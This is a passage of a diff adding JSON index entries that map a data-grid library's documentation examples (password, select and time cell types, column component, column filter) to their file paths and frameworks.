+ "file": "guides__cell-types__password-cell-type__javascript__example4.js.json", + "breadcrumb": [ + "Cell Types", + "Password cell type" + ], + "guide": "guides/cell-types/password-cell-type/password-cell-type.md", + "guideTitle": "Password cell type", + "exampleId": "example4", + "exampleTitle": "Reveal delay", + "docPermalink": "/password-cell-type", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/password-cell-type/react/example4.tsx", + "file": "guides__cell-types__password-cell-type__react__example4.tsx.json", + "breadcrumb": [ + "Cell Types", + "Password cell type" + ], + "guide": "guides/cell-types/password-cell-type/password-cell-type.md", + "guideTitle": "Password cell type", + "exampleId": "example4", + "exampleTitle": "Reveal delay", + "docPermalink": "/password-cell-type", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/password-cell-type/javascript/example4.ts", + "file": "guides__cell-types__password-cell-type__javascript__example4.ts.json", + "breadcrumb": [ + "Cell Types", + "Password cell type" + ], + "guide": "guides/cell-types/password-cell-type/password-cell-type.md", + "guideTitle": "Password cell type", + "exampleId": "example4", + "exampleTitle": "Reveal delay", + "docPermalink": "/password-cell-type", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/password-cell-type/vue/example4.vue", + "file": "guides__cell-types__password-cell-type__vue__example4.vue.json", + "breadcrumb": [ + "Cell Types", + "Password cell type" + ], + "guide": "guides/cell-types/password-cell-type/password-cell-type.md", + "guideTitle": "Password cell type", + "exampleId": "example4", + "exampleTitle": "Reveal delay", + "docPermalink": "/password-cell-type", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/select-cell-type/angular/example1.ts", + "file": "guides__cell-types__select-cell-type__angular__example1.ts.json", + "breadcrumb": [ + "Cell Types", + "Select cell type" + ], + "guide": "guides/cell-types/select-cell-type/select-cell-type.md", + "guideTitle": "Select cell type", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/select-cell-type", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/select-cell-type/javascript/example1.js", + "file": "guides__cell-types__select-cell-type__javascript__example1.js.json", + "breadcrumb": [ + "Cell Types", + "Select cell type" + ], + "guide": "guides/cell-types/select-cell-type/select-cell-type.md", + "guideTitle": "Select cell type", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/select-cell-type", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/select-cell-type/react/example1.tsx", + "file": "guides__cell-types__select-cell-type__react__example1.tsx.json", + "breadcrumb": [ + "Cell Types", + "Select cell type" + ], + "guide": "guides/cell-types/select-cell-type/select-cell-type.md", + "guideTitle": "Select cell type", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/select-cell-type", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/select-cell-type/javascript/example1.ts", + "file": "guides__cell-types__select-cell-type__javascript__example1.ts.json", + "breadcrumb": [ + "Cell Types", + "Select cell type" + ], + "guide": "guides/cell-types/select-cell-type/select-cell-type.md", + "guideTitle": "Select cell type", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/select-cell-type", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/select-cell-type/vue/example1.vue", + "file": "guides__cell-types__select-cell-type__vue__example1.vue.json", + "breadcrumb": [ + "Cell Types", + "Select cell type" + ], + "guide": "guides/cell-types/select-cell-type/select-cell-type.md", + "guideTitle": "Select cell type", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/select-cell-type", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/time-cell-type/angular/example1.ts", + "file": "guides__cell-types__time-cell-type__angular__example1.ts.json", + "breadcrumb": [ + "Cell Types", + "Time cell type" + ], + "guide": "guides/cell-types/time-cell-type/time-cell-type.md", + "guideTitle": "Time cell type", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/time-cell-type", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/time-cell-type/javascript/example1.js", + "file": "guides__cell-types__time-cell-type__javascript__example1.js.json", + "breadcrumb": [ + "Cell Types", + "Time cell type" + ], + "guide": "guides/cell-types/time-cell-type/time-cell-type.md", + "guideTitle": "Time cell type", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/time-cell-type", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/time-cell-type/react/example1.tsx", + "file": "guides__cell-types__time-cell-type__react__example1.tsx.json", + "breadcrumb": [ + "Cell Types", + "Time cell type" + ], + "guide": "guides/cell-types/time-cell-type/time-cell-type.md", + "guideTitle": "Time cell type", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/time-cell-type", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/time-cell-type/javascript/example1.ts", + "file": "guides__cell-types__time-cell-type__javascript__example1.ts.json", + "breadcrumb": [ + "Cell Types", + "Time cell type" + ], + "guide": "guides/cell-types/time-cell-type/time-cell-type.md", + "guideTitle": "Time cell type", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/time-cell-type", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/time-cell-type/vue/example1.vue", + "file": "guides__cell-types__time-cell-type__vue__example1.vue.json", + "breadcrumb": [ + "Cell Types", + "Time cell type" + ], + "guide": "guides/cell-types/time-cell-type/time-cell-type.md", + "guideTitle": "Time cell type", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/time-cell-type", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/react-hot-column/react/example1.tsx", + "file": "guides__columns__react-hot-column__react__example1.tsx.json", + "breadcrumb": [ + "Columns", + "Column component" + ], + "guide": "guides/columns/react-hot-column/react-hot-column.md", + "guideTitle": "Column component", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/hot-column", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/react-hot-column/react/example3.tsx", + "file": "guides__columns__react-hot-column__react__example3.tsx.json", + "breadcrumb": [ + "Columns", + "Column component" + ], + "guide": "guides/columns/react-hot-column/react-hot-column.md", + "guideTitle": "Column component", + "exampleId": "example3", + "exampleTitle": "Object data source", + "docPermalink": "/hot-column", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/angular/example10.ts", + "file": "guides__columns__column-filter__angular__example10.ts.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "example10", + "exampleTitle": "Server-side filtering (2)", + "docPermalink": "/column-filter", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/angular/example11.ts", + "file": "guides__columns__column-filter__angular__example11.ts.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "example11", + "exampleTitle": "Filter data programmatically (2)", + "docPermalink": "/column-filter", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/angular/example12.ts", + "file": "guides__columns__column-filter__angular__example12.ts.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "example12", + "exampleTitle": "Enable filtering within already filtered results (2)", + "docPermalink": "/column-filter", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/angular/example1.ts", + "file": "guides__columns__column-filter__angular__example1.ts.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/column-filter", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/angular/example2.ts", + "file": "guides__columns__column-filter__angular__example2.ts.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "example2", + "exampleTitle": "Enable filtering (2)", + "docPermalink": "/column-filter", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/angular/example3.ts", + "file": "guides__columns__column-filter__angular__example3.ts.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "example3", + "exampleTitle": "Enable filtering for individual columns (2)", + "docPermalink": "/column-filter", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/angular/example4.ts", + "file": "guides__columns__column-filter__angular__example4.ts.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "example4", + "exampleTitle": "Filter different types of data (2)", + "docPermalink": "/column-filter", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/angular/example5.ts", + "file": "guides__columns__column-filter__angular__example5.ts.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "example5", + "exampleTitle": "Filter data on initialization (2)", + "docPermalink": "/column-filter", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/angular/example6.ts", + "file": "guides__columns__column-filter__angular__example6.ts.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "example6", + "exampleTitle": "External quick filter (2)", + "docPermalink": "/column-filter", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/angular/example7.ts", + "file": "guides__columns__column-filter__angular__example7.ts.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "example7", + "exampleTitle": "Customize the filter button (2)", + "docPermalink": "/column-filter", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/angular/example8.ts", + "file": "guides__columns__column-filter__angular__example8.ts.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "example8", + "exampleTitle": "Customize the filter button (4)", + "docPermalink": "/column-filter", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/angular/example9.ts", + "file": "guides__columns__column-filter__angular__example9.ts.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "example9", + "exampleTitle": "Exclude rows from filtering (2)", + "docPermalink": "/column-filter", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/javascript/exampleCustomFilterButton2.js", + "file": "guides__columns__column-filter__javascript__exampleCustomFilterButton2.js.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "exampleCustomFilterButton2", + "exampleTitle": "Customize the filter button (3)", + "docPermalink": "/column-filter", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/react/exampleCustomFilterButton2.tsx", + "file": "guides__columns__column-filter__react__exampleCustomFilterButton2.tsx.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "exampleCustomFilterButton2", + "exampleTitle": "Customize the filter button (3)", + "docPermalink": "/column-filter", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/javascript/exampleCustomFilterButton2.ts", + "file": "guides__columns__column-filter__javascript__exampleCustomFilterButton2.ts.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "exampleCustomFilterButton2", + "exampleTitle": "Customize the filter button (3)", + "docPermalink": "/column-filter", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/vue/exampleCustomFilterButton2.vue", + "file": "guides__columns__column-filter__vue__exampleCustomFilterButton2.vue.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "exampleCustomFilterButton2", + "exampleTitle": "Customize the filter button (3)", + "docPermalink": "/column-filter", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/javascript/exampleCustomFilterButton.js", + "file": "guides__columns__column-filter__javascript__exampleCustomFilterButton.js.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "exampleCustomFilterButton", + "exampleTitle": "Customize the filter button", + "docPermalink": "/column-filter", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/react/exampleCustomFilterButton.tsx", + "file": "guides__columns__column-filter__react__exampleCustomFilterButton.tsx.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "exampleCustomFilterButton", + "exampleTitle": "Customize the filter button", + "docPermalink": "/column-filter", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/javascript/exampleCustomFilterButton.ts", + "file": "guides__columns__column-filter__javascript__exampleCustomFilterButton.ts.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "exampleCustomFilterButton", + "exampleTitle": "Customize the filter button", + "docPermalink": "/column-filter", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/vue/exampleCustomFilterButton.vue", + "file": "guides__columns__column-filter__vue__exampleCustomFilterButton.vue.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "exampleCustomFilterButton", + "exampleTitle": "Customize the filter button", + "docPermalink": "/column-filter", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/javascript/exampleEnableFilterInColumns.js", + "file": "guides__columns__column-filter__javascript__exampleEnableFilterInColumns.js.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "exampleEnableFilterInColumns", + "exampleTitle": "Enable filtering for individual columns", + "docPermalink": "/column-filter", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/react/exampleEnableFilterInColumns.tsx", + "file": "guides__columns__column-filter__react__exampleEnableFilterInColumns.tsx.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "exampleEnableFilterInColumns", + "exampleTitle": "Enable filtering for individual columns", + "docPermalink": "/column-filter", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/javascript/exampleEnableFilterInColumns.ts", + "file": "guides__columns__column-filter__javascript__exampleEnableFilterInColumns.ts.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "exampleEnableFilterInColumns", + "exampleTitle": "Enable filtering for individual columns", + "docPermalink": "/column-filter", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/vue/exampleEnableFilterInColumns.vue", + "file": "guides__columns__column-filter__vue__exampleEnableFilterInColumns.vue.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "exampleEnableFilterInColumns", + "exampleTitle": "Enable filtering for individual columns", + "docPermalink": "/column-filter", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/javascript/exampleExcludeRowsFromFiltering.js", + "file": "guides__columns__column-filter__javascript__exampleExcludeRowsFromFiltering.js.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "exampleExcludeRowsFromFiltering", + "exampleTitle": "Exclude rows from filtering", + "docPermalink": "/column-filter", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/react/exampleExcludeRowsFromFiltering.tsx", + "file": "guides__columns__column-filter__react__exampleExcludeRowsFromFiltering.tsx.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "exampleExcludeRowsFromFiltering", + "exampleTitle": "Exclude rows from filtering", + "docPermalink": "/column-filter", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/javascript/exampleExcludeRowsFromFiltering.ts", + "file": "guides__columns__column-filter__javascript__exampleExcludeRowsFromFiltering.ts.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "exampleExcludeRowsFromFiltering", + "exampleTitle": "Exclude rows from filtering", + "docPermalink": "/column-filter", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/vue/exampleExcludeRowsFromFiltering.vue", + "file": "guides__columns__column-filter__vue__exampleExcludeRowsFromFiltering.vue.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "exampleExcludeRowsFromFiltering", + "exampleTitle": "Exclude rows from filtering", + "docPermalink": "/column-filter", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/javascript/exampleFilterBasicDemo.js", + "file": "guides__columns__column-filter__javascript__exampleFilterBasicDemo.js.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "exampleFilterBasicDemo", + "exampleTitle": "Filtering demo", + "docPermalink": "/column-filter", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/react/exampleFilterBasicDemo.tsx", + "file": "guides__columns__column-filter__react__exampleFilterBasicDemo.tsx.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "exampleFilterBasicDemo", + "exampleTitle": "Filtering demo", + "docPermalink": "/column-filter", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/javascript/exampleFilterBasicDemo.ts", + "file": "guides__columns__column-filter__javascript__exampleFilterBasicDemo.ts.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "exampleFilterBasicDemo", + "exampleTitle": "Filtering demo", + "docPermalink": "/column-filter", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/vue/exampleFilterBasicDemo.vue", + "file": "guides__columns__column-filter__vue__exampleFilterBasicDemo.vue.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "exampleFilterBasicDemo", + "exampleTitle": "Filtering demo", + "docPermalink": "/column-filter", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/javascript/exampleFilterDifferentTypes.js", + "file": "guides__columns__column-filter__javascript__exampleFilterDifferentTypes.js.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "exampleFilterDifferentTypes", + "exampleTitle": "Filter different types of data", + "docPermalink": "/column-filter", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/react/exampleFilterDifferentTypes.tsx", + "file": "guides__columns__column-filter__react__exampleFilterDifferentTypes.tsx.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "exampleFilterDifferentTypes", + "exampleTitle": "Filter different types of data", + "docPermalink": "/column-filter", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/javascript/exampleFilterDifferentTypes.ts", + "file": "guides__columns__column-filter__javascript__exampleFilterDifferentTypes.ts.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "exampleFilterDifferentTypes", + "exampleTitle": "Filter different types of data", + "docPermalink": "/column-filter", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/vue/exampleFilterDifferentTypes.vue", + "file": "guides__columns__column-filter__vue__exampleFilterDifferentTypes.vue.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "exampleFilterDifferentTypes", + "exampleTitle": "Filter different types of data", + "docPermalink": "/column-filter", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/javascript/exampleFilterOnInitialization.js", + "file": "guides__columns__column-filter__javascript__exampleFilterOnInitialization.js.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "exampleFilterOnInitialization", + "exampleTitle": "Filter data on initialization", + "docPermalink": "/column-filter", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/react/exampleFilterOnInitialization.tsx", + "file": "guides__columns__column-filter__react__exampleFilterOnInitialization.tsx.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "exampleFilterOnInitialization", + "exampleTitle": "Filter data on initialization", + "docPermalink": "/column-filter", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/javascript/exampleFilterOnInitialization.ts", + "file": "guides__columns__column-filter__javascript__exampleFilterOnInitialization.ts.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "exampleFilterOnInitialization", + "exampleTitle": "Filter data on initialization", + "docPermalink": "/column-filter", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/vue/exampleFilterOnInitialization.vue", + "file": "guides__columns__column-filter__vue__exampleFilterOnInitialization.vue.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "exampleFilterOnInitialization", + "exampleTitle": "Filter data on initialization", + "docPermalink": "/column-filter", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/javascript/exampleFilterThroughAPI1.js", + "file": "guides__columns__column-filter__javascript__exampleFilterThroughAPI1.js.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "exampleFilterThroughAPI1", + "exampleTitle": "Filter data programmatically", + "docPermalink": "/column-filter", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/react/exampleFilterThroughAPI1.tsx", + "file": "guides__columns__column-filter__react__exampleFilterThroughAPI1.tsx.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "exampleFilterThroughAPI1", + "exampleTitle": "Filter data programmatically", + "docPermalink": "/column-filter", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/javascript/exampleFilterThroughAPI1.ts", + "file": "guides__columns__column-filter__javascript__exampleFilterThroughAPI1.ts.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "exampleFilterThroughAPI1", + "exampleTitle": "Filter data programmatically", + "docPermalink": "/column-filter", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/vue/exampleFilterThroughAPI1.vue", + "file": "guides__columns__column-filter__vue__exampleFilterThroughAPI1.vue.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "exampleFilterThroughAPI1", + "exampleTitle": "Filter data programmatically", + "docPermalink": "/column-filter", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/javascript/exampleQuickFilter.js", + "file": "guides__columns__column-filter__javascript__exampleQuickFilter.js.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "exampleQuickFilter", + "exampleTitle": "External quick filter", + "docPermalink": "/column-filter", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/react/exampleQuickFilter.tsx", + "file": "guides__columns__column-filter__react__exampleQuickFilter.tsx.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "exampleQuickFilter", + "exampleTitle": "External quick filter", + "docPermalink": "/column-filter", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/javascript/exampleQuickFilter.ts", + "file": "guides__columns__column-filter__javascript__exampleQuickFilter.ts.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "exampleQuickFilter", + "exampleTitle": "External quick filter", + "docPermalink": "/column-filter", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/vue/exampleQuickFilter.vue", + "file": "guides__columns__column-filter__vue__exampleQuickFilter.vue.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "exampleQuickFilter", + "exampleTitle": "External quick filter", + "docPermalink": "/column-filter", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/javascript/exampleSearchMode.js", + "file": "guides__columns__column-filter__javascript__exampleSearchMode.js.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "exampleSearchMode", + "exampleTitle": "Enable filtering within already filtered results", + "docPermalink": "/column-filter", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/react/exampleSearchMode.tsx", + "file": "guides__columns__column-filter__react__exampleSearchMode.tsx.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "exampleSearchMode", + "exampleTitle": "Enable filtering within already filtered results", + "docPermalink": "/column-filter", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/javascript/exampleSearchMode.ts", + "file": "guides__columns__column-filter__javascript__exampleSearchMode.ts.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "exampleSearchMode", + "exampleTitle": "Enable filtering within already filtered results", + "docPermalink": "/column-filter", + "framework": "typescript", + 